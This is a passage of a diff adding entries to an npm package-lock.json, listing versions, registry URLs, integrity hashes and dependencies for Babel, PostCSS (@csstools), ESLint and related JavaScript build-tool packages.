+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz",
+      "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-typeof-symbol": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz",
+      "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-typescript": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.19.3.tgz",
+      "integrity": "sha512-z6fnuK9ve9u/0X0rRvI9MY0xg+DOUaABDYOe+/SQTxtlptaBB/V9JIUxJn6xp3lMBeb9qe8xSFmHU35oZDXD+w==",
+      "dependencies": {
+        "@babel/helper-create-class-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-typescript": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-unicode-escapes": {
+      "version": "7.18.10",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz",
+      "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-unicode-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz",
+      "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-env": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.19.3.tgz",
+      "integrity": "sha512-ziye1OTc9dGFOAXSWKUqQblYHNlBOaDl8wzqf2iKXJAltYiR3hKHUKmkt+S9PppW7RQpq4fFCrwwpIDj/f5P4w==",
+      "dependencies": {
+        "@babel/compat-data": "^7.19.3",
+        "@babel/helper-compilation-targets": "^7.19.3",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6",
+        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-async-generator-functions": "^7.19.1",
+        "@babel/plugin-proposal-class-properties": "^7.18.6",
+        "@babel/plugin-proposal-class-static-block": "^7.18.6",
+        "@babel/plugin-proposal-dynamic-import": "^7.18.6",
+        "@babel/plugin-proposal-export-namespace-from": "^7.18.9",
+        "@babel/plugin-proposal-json-strings": "^7.18.6",
+        "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6",
+        "@babel/plugin-proposal-numeric-separator": "^7.18.6",
+        "@babel/plugin-proposal-object-rest-spread": "^7.18.9",
+        "@babel/plugin-proposal-optional-catch-binding": "^7.18.6",
+        "@babel/plugin-proposal-optional-chaining": "^7.18.9",
+        "@babel/plugin-proposal-private-methods": "^7.18.6",
+        "@babel/plugin-proposal-private-property-in-object": "^7.18.6",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.18.6",
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-class-properties": "^7.12.13",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5",
+        "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+        "@babel/plugin-syntax-import-assertions": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+        "@babel/plugin-syntax-top-level-await": "^7.14.5",
+        "@babel/plugin-transform-arrow-functions": "^7.18.6",
+        "@babel/plugin-transform-async-to-generator": "^7.18.6",
+        "@babel/plugin-transform-block-scoped-functions": "^7.18.6",
+        "@babel/plugin-transform-block-scoping": "^7.18.9",
+        "@babel/plugin-transform-classes": "^7.19.0",
+        "@babel/plugin-transform-computed-properties": "^7.18.9",
+        "@babel/plugin-transform-destructuring": "^7.18.13",
+        "@babel/plugin-transform-dotall-regex": "^7.18.6",
+        "@babel/plugin-transform-duplicate-keys": "^7.18.9",
+        "@babel/plugin-transform-exponentiation-operator": "^7.18.6",
+        "@babel/plugin-transform-for-of": "^7.18.8",
+        "@babel/plugin-transform-function-name": "^7.18.9",
+        "@babel/plugin-transform-literals": "^7.18.9",
+        "@babel/plugin-transform-member-expression-literals": "^7.18.6",
+        "@babel/plugin-transform-modules-amd": "^7.18.6",
+        "@babel/plugin-transform-modules-commonjs": "^7.18.6",
+        "@babel/plugin-transform-modules-systemjs": "^7.19.0",
+        "@babel/plugin-transform-modules-umd": "^7.18.6",
+        "@babel/plugin-transform-named-capturing-groups-regex": "^7.19.1",
+        "@babel/plugin-transform-new-target": "^7.18.6",
+        "@babel/plugin-transform-object-super": "^7.18.6",
+        "@babel/plugin-transform-parameters": "^7.18.8",
+        "@babel/plugin-transform-property-literals": "^7.18.6",
+        "@babel/plugin-transform-regenerator": "^7.18.6",
+        "@babel/plugin-transform-reserved-words": "^7.18.6",
+        "@babel/plugin-transform-shorthand-properties": "^7.18.6",
+        "@babel/plugin-transform-spread": "^7.19.0",
+        "@babel/plugin-transform-sticky-regex": "^7.18.6",
+        "@babel/plugin-transform-template-literals": "^7.18.9",
+        "@babel/plugin-transform-typeof-symbol": "^7.18.9",
+        "@babel/plugin-transform-unicode-escapes": "^7.18.10",
+        "@babel/plugin-transform-unicode-regex": "^7.18.6",
+        "@babel/preset-modules": "^0.1.5",
+        "@babel/types": "^7.19.3",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "core-js-compat": "^3.25.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-env/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/preset-modules": {
+      "version": "0.1.5",
+      "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+      "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+        "@babel/plugin-transform-dotall-regex": "^7.4.4",
+        "@babel/types": "^7.4.4",
+        "esutils": "^2.0.2"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-react": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz",
+      "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-react-display-name": "^7.18.6",
+        "@babel/plugin-transform-react-jsx": "^7.18.6",
+        "@babel/plugin-transform-react-jsx-development": "^7.18.6",
+        "@babel/plugin-transform-react-pure-annotations": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz",
+      "integrity": "sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-typescript": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/runtime": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.19.0.tgz",
+      "integrity": "sha512-eR8Lo9hnDS7tqkO7NsV+mKvCmv5boaXFSZ70DnfhcgiEne8hv9oCEd36Klw74EtizEqLsy4YnW8UWwpBVolHZA==",
+      "dependencies": {
+        "regenerator-runtime": "^0.13.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/runtime-corejs3": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.19.1.tgz",
+      "integrity": "sha512-j2vJGnkopRzH+ykJ8h68wrHnEUmtK//E723jjixiAl/PPf6FhqY/vYRcMVlNydRKQjQsTsYEjpx+DZMIvnGk/g==",
+      "dependencies": {
+        "core-js-pure": "^3.25.1",
+        "regenerator-runtime": "^0.13.4"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.0.tgz",
+      "integrity": "sha512-2ncevenBqXI6qRMukPlXwHKHchC7RyMuu4xv5JBXRfOGVcTy1mXCD12qrp7Jsoxll1EV3+9sE4GugBVRjT2jFA==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.26.2",
+        "@babel/parser": "^7.27.0",
+        "@babel/types": "^7.27.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse": {
+      "version": "7.23.2",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.2.tgz",
+      "integrity": "sha512-azpe59SQ48qG6nu2CzcMLbxUudtN+dOM9kDbUqGq3HXUJRlo7i8fvPoxQUzYgLZ4cMVmuZgm8vvBpNeRhd6XSw==",
+      "dependencies": {
+        "@babel/code-frame": "^7.22.13",
+        "@babel/generator": "^7.23.0",
+        "@babel/helper-environment-visitor": "^7.22.20",
+        "@babel/helper-function-name": "^7.23.0",
+        "@babel/helper-hoist-variables": "^7.22.5",
+        "@babel/helper-split-export-declaration": "^7.22.6",
+        "@babel/parser": "^7.23.0",
+        "@babel/types": "^7.23.0",
+        "debug": "^4.1.0",
+        "globals": "^11.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/types": {
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.27.0.tgz",
+      "integrity": "sha512-H45s8fVLYjbhFH62dIJ3WtmJ6RSPt/3DRO0ZcT2SUiYiQyz3BLVb9ADEnLl91m74aQPS3AzzeajZHYOalWe3bg==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-string-parser": "^7.25.9",
+        "@babel/helper-validator-identifier": "^7.25.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@bcoe/v8-coverage": {
+      "version": "0.2.3",
+      "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
+      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="
+    },
+    "node_modules/@csstools/normalize.css": {
+      "version": "12.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.0.0.tgz",
+      "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg=="
+    },
+    "node_modules/@csstools/postcss-cascade-layers": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz",
+      "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.2",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-color-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz",
+      "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-font-format-keywords": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz",
+      "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-hwb-function": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz",
+      "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-ic-unit": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz",
+      "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-is-pseudo-class": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz",
+      "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-nested-calc": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz",
+      "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-normalize-display-values": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz",
+      "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-oklab-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz",
+      "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-progressive-custom-properties": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz",
+      "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/@csstools/postcss-stepped-value-functions": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz",
+      "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-text-decoration-shorthand": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz",
+      "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-trigonometric-functions": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz",
+      "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-unset-value": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz",
+      "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/selector-specificity": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.0.2.tgz",
+      "integrity": "sha512-IkpVW/ehM1hWKln4fCA3NzJU8KwD+kIOvPZA4cqxoJHtE21CCzjyp+Kxbu0i5I4tBNOlXPL9mjwnWlL0VEG4Fg==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2",
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "node_modules/@eslint/eslintrc": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.2.tgz",
+      "integrity": "sha512-AXYd23w1S/bv3fTs3Lz0vjiYemS08jWkI3hYyS9I1ry+0f+Yjs1wm+sU0BS8qDOPrBIkp4qHYC16I8uVtpLajQ==",
+      "dependencies": {
+        "ajv": "^6.12.4",
+        "debug": "^4.3.2",
+        "espree": "^9.4.0",
+        "globals": "^13.15.0",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.2.1",
+        "js-yaml": "^4.1.0",
+        "minimatch": "^3.1.2",
+        "strip-json-comments": "^3.1.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/argparse": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+    },
+    "node_modules/@eslint/eslintrc/node_modules/globals": {
+      "version": "13.17.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz",
+      "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==",
+      "dependencies": {
+        "type-fest": "^0.20.2"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/js-yaml": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+      "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
+      "dependencies": {
+        "argparse": "^2.0.1"
+      },
+      "bin": {
+        "js-yaml": "bin/js-yaml.js"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/type-fest": {
+      "version": "0.20.2",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+      "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@humanwhocodes/config-array": {
+      "version": "0.10.7",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.10.7.tgz",
+      "integrity": "sha512-MDl6D6sBsaV452/QSdX+4CXIjZhIcI0PELsxUjk4U828yd58vk3bTIvk/6w5FY+4hIy9sLW0sfrV7K7Kc++j/w==",
+      "dependencies": {
+        "@humanwhocodes/object-schema": "^1.2.1",
+        "debug": "^4.1.1",
+        "minimatch": "^3.0.4"
+      },
+      "engines": {
+        "node": ">=10.10.0"
+      }
+    },
+    "node_modules/@humanwhocodes/gitignore-to-minimatch": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/gitignore-to-minimatch/-/gitignore-to-minimatch-1.0.2.tgz",
+      "integrity": "sha512-rSqmMJDdLFUsyxR6FMtD00nfQKKLFb1kv+qBbOVKqErvloEIJLo5bDTJTQNTYgeyp78JsA7u/NPi5jT1GR/MuA==",
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/nzakas"
+      }
+    },
+    "node_modules/@humanwhocodes/module-importer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
+      "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
+      "engines": {
+        "node": ">=12.22"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/nzakas"
+      }
+    },
+    "node_modules/@humanwhocodes/object-schema": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz",
+      "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA=="
+    },
+    "node_modules/@istanbuljs/load-nyc-config": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
+      "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
